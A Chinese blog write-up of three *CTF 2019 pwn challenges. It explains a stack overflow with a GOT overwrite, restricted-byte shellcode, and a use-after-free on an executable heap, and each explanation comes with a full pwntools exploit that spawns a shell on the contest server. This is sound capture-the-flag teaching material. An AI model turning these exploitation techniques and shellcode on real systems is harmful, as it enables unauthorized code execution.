*CTF 2019 quicksort、babyshell、upxofcpp

这次参加比赛总共出了三道,有两道队友都先交了,还是tcl,heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧

quicksort

题目大体流程就是输入要输入的数字数量,然后输入数字,经过一个快速排序输出,然后结束。

漏洞:

gets函数这里存在栈溢出,可以覆盖i,j,ptr,num。

利用思路:

libc泄露:可以修改ptr指向gets_got,并将i和num设置为1,1。这样可以修改free_got的值同时下面会输出gets的地址来泄露libc

步骤:

1.修改free_got为0x8048816同时泄露libc地址

2.修改free_got为system函数并在bss上面构造/bin/sh,把ptr设置为/bin/sh的地址

3.调用free时getshell

exp:

from pwn import *
#p = process(‘./quicksort‘,env={‘LD_PRELOAD‘:‘./libc.so.6‘})
p = remote(‘34.92.96.238‘,10000)
#gdb.attach(p)
context.log_level=‘debug‘
#libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
libc = ELF(‘./libc.so.6‘)
free_got = 0x804a018
main_addr = 0x8048816
bss_addr = 0x804a03c
p.recvuntil(‘sort?‘)
p.sendline(‘3‘)
p.recvuntil(‘number:‘)
payload=str(main_addr)+‘a‘*0x7+p32(1)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil(‘result:‘)
p.recvline()
gets_addr = int(p.recvline().replace(‘\n‘,‘‘))+2**32
print "gets_addr:",hex(gets_addr)
libc.address = gets_addr-libc.symbols[‘gets‘]
system_addr = libc.symbols[‘system‘]
one_gadget = libc.address+0x3ac62
bin_sh_addr = libc.search(‘/bin/sh\x00‘).next()
p.recvuntil(‘sort?‘)
p.sendline(‘1‘)
p.recvuntil(‘number:‘)
payload=str(system_addr-2**32).ljust(16,‘a‘)+p32(3)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil(‘number:‘)
payload=str(6845231).ljust(16,‘a‘)+p32(2)+p32(0)+p32(0)+p32(bss_addr+0x4)
p.sendline(payload)
p.recvuntil(‘number:‘)
payload=str(1852400175).ljust(16,‘a‘)+p32(1)+p32(0)+p32(0)+p32(bss_addr)
p.sendline(payload)
p.recvuntil(‘result:‘)
p.interactive()

babyshell

这题由于偷懒第二天起太晚了。做完已经被提交了

输入shellcode然后会执行,要求是shellcode只能是一个数组里的值。

这题syscall可以调用,rsi本身就是buf地址,所以只需要把rdi改成0,rdx改成length,就可以调用read写buf了,刚好可写的里面有pop rdi,pop rdx

exp:

from pwn import *
import time
#p = process(‘./shellcode‘)
#gdb.attach(p)
p = remote(‘34.92.37.22‘,10002)
p.recvuntil(‘plz:‘)
payload = ‘‘‘
    push 0x0
    pop rdi
    push 0x73
    pop rdx
    syscall
‘‘‘
p.send(asm(payload,arch=‘amd64‘))
payload2 = ‘‘‘
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    mov rsi,0
    mov rdx,0
    mov rax,0x3b
    syscall
‘‘‘
time.sleep(10)
p.send((‘\x90‘*8+asm(payload2,arch=‘amd64‘)))
p.interactive()
#raw_input()

upxofcpp

一个upx加壳后的程序,脱壳后分析:

free存在uaf漏洞,而且free和show函数都存在一个特定地址函数调用

这题一直没想出来,直到队里大佬说加壳的程序中堆是rwx的。

所以这题就很简单了,步骤为:

1.构造堆块让使用show函数的时候调用一个堆地址

2.在该堆地址上面构造shellcode

3.运行shellcode拿到shell

exp:

from pwn import *
#p = process(‘./upxofcpp‘)
p = remote(‘34.92.121.149‘,10000)

context.log_level=‘debug‘
def add(index,size,content):
    p.recvuntil(‘choice:‘)
    p.sendline(‘1‘)
    p.recvuntil(‘Index:‘)
    p.sendline(str(index))
    p.recvuntil(‘Size:‘)
    p.sendline(str(size))
    p.recvuntil(‘stop:‘)
    p.sendline(content)
def delete(index):
    p.recvuntil(‘choice:‘)
    p.sendline(‘2‘)
    p.recvuntil(‘index:‘)
    p.sendline(str(index))
def show(index):
    p.recvuntil(‘choice:‘)
    p.sendline(‘4‘)
    p.recvuntil(‘index:‘)
    p.sendline(str(index))
payload = ‘‘‘
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    mov rsi,0
    mov rdx,0
    mov rax,0x3b
    syscall
‘‘‘
print len(asm(payload,arch=‘amd64‘))
payload = asm(payload,arch=‘amd64‘)
#print len(payload)
result =‘‘
i = 0
while i<35:
    result+=str(struct.unpack(‘<i‘,payload[i:i+4])[0])+‘ ‘
    i+=4
result+=‘-1‘
print result
add(0,0x22,‘-1‘)
add(1,0x12,‘1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2095775979 -1‘)
add(2,0x8,‘-1‘)
#add(1,0x8,‘1 2 1156288656 -1‘)
add(3,0x50,result)
#add(4,0x22,‘-1‘)
#add(3,0x22,‘-1‘)
delete(2)
delete(1)
delete(0)
#gdb.attach(p)
#delete(3)
show(0)
p.interactive()

原文地址:https://www.cnblogs.com/lllkh/p/10789575.html

时间: 2024-08-30 17:31:47

*CTF 2019 quicksort、babyshell、upxofcpp的相关文章

2019北京工业机器人博览会、国际机器人科技展

第二十二届中国北京国际科技产业博览会2019年中国北京国际机器人科技展 时间:2019年5月16-19日地点:中国国际展览中心(老馆) 主办单位: ×××科学技术部 ××××××中国国际贸易促进委员会 北京市人民政府 支持单位:×××教育部 ×××工信部×××商务部 ×××国有资产监督管理委员会 中国中央电视台 顾问单位:×××中国企业联合会××× 中国科学技术协会××× 中国全国归国华侨联合会 承办单位:北京市贸促会 北京艾尚国际展览有限公司 一.展会概况中国北京国际科技产业博览会(简称科博会

“全栈2019”Java第三十九章:构造函数、构造方法、构造器

难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第三十九章:构造函数.构造方法.构造器 下一章 "全栈2019"Java第四十章:this关键字 学习小组 加入同步学习小组,共同交流与进步. 方式一:关注头条号Gorhaf,私信"Java学习小组". 方式二:关注公众号Gorhaf,回复"Java学习小组&q

2019 九大设计趋势:微软、Google、IDEO 设计高管这么说

所有人都劳累过度,闷闷不乐.网络数字平台已经榨干了我们最后一点注意力和正常生活.如果你读读 2018 年的新闻标题,肯定会对未来感到悲观. 但是我们采访的设计大咖(来自微软.Google.IDEO.Forrester等)却让我们感到一丝希望.展望 2019,他们一致认为:过去几年充斥商业环境的冰冷的.公司化思维并不能反映人们想要的生活.2019 年,人们将不仅仅从数据角度看问题:设计师们也需要认识到这一点.以下是 2019 年九大设计趋势预测. 一.人们将专注于「专注」 设计已经进入未知领域.科

2019北京(人工智能、物联网、大数据)博览会

2019北京人工智能.物联网.大数据博览会人工智能技术有着广阔应用前景,能够极大地促进社会经济发展.近年来,人工智能与电子终端和垂直行业加速融合,已经涌现出了智能家居.智能汽车.可穿戴设备.智能机器人等一批人工智能产品,而且人工智能正在全面重塑家电.机器人.医疗.教育.金融等行业,将带来大量的经济效益. 亮点(1)顶级的年度例展:经×××批准,由八部委联合主办,党中央.全国人大.×××.全国政协.有关部委领导多次莅临科博会现场参观.亮点(2)综合性科技盛会:第二十一届科博会举办了15场推介洽谈,

2019年Python、Java、C++学哪个更好?薪资更高?

首先,我认为编程语言是没有最好,只有最合适.但是未来预测这种事还是留给大神,这边就分享给楼主一些"干货" 最后,如果大家如果在自学遇到困难,想找一个C++的学习环境,可以加入我们的C++学习圈,点击我加入吧,会节约很多时间,减少很多在学习中遇到的难题. Python 难度:★ 欢迎度:★★★★☆ 创始于:1991年 学完之后可以干什么: web开发.应用开发.大数据.数据挖掘.科学计算.机器学习.人工智能.运维.自然语言处理等等等. 就业薪资: 2019年Python.Java.C++

2019年Python、Golang、Java、C++如何选择?

前言 作为开发者我们都知道,开发后台语言可选择的方向会很多,比如,Java,go,Python,C/C++,PHP,NodeJs….等很多,这么多语言都有什么样的优势?如果让你学习一门后端语言,又该如何选择呢? Java 编译语言,速度适中(2.67s),目前的大型网站都是拿java写的,比如淘宝.京东等.主要特点是稳定,开源性好,具有自己的一套编写规范,开发效率适中,目前最主流的语言. 作为编程语言中的大腕.具有最大的知名度和用户群.无论风起云涌,我自巍然不动.他强任他强,清风拂山岗:他横由他

2019年消防工程师综合必看考点:建筑分类、高度、层数

建筑高度是每年消防工程师考试中的一个重点,但是总是有很多考生在这上面丢分,其关键的原因是,对于很多建筑分类.高度.层数傻傻弄不清楚,概念不清楚,在计算过程中肯定会打乱仗,因此,今天,众智博睿教育为广大考生整理了2019年消防综合必看考点:建筑分类.高度.层数,希望能助你一臂之力. ??建筑分类 ??工业建筑:包括单层.多层及高层的厂房和仓库,其中,火灾危险性类别分为甲.乙.丙.丁.戊类. ??民用建筑:包括单层.多层及高层的住宅建筑和公共建筑,其中,高层民用建筑根据其建筑高度.使用功能和楼层的建

获取国家2019年最新的省、市、区/县、街道、小区/居委会信息 包括港澳台

版本 国家统计2019版 数据来源 http://www.stats.gov.cn/tjsj/tjbz/tjyqhdmhcxhfdm/2019/index.html 建表 CREATE TABLE `t_config_area` ( `FAreaId` bigint(0) NOT NULL COMMENT '区域Id', `FParentId` bigint(0) NOT NULL COMMENT '上级Id', `FLevelType` tinyint(0) NOT NULL COMMENT

visio 2019 里面形状的剪切、联合、组合、拆分、相交、剪除 等功能如何打开

visio 2019 默认对形状的操作仅支持 组合/取消组合,并不显示“剪切.联合.组合.拆分.相交.剪除”等高级功能. 这些在visio 2003 版默认的功能,在visio 2010/2019 版中被隐藏起来,打开方式如下: 原文地址:https://www.cnblogs.com/lijinying/p/12660524.html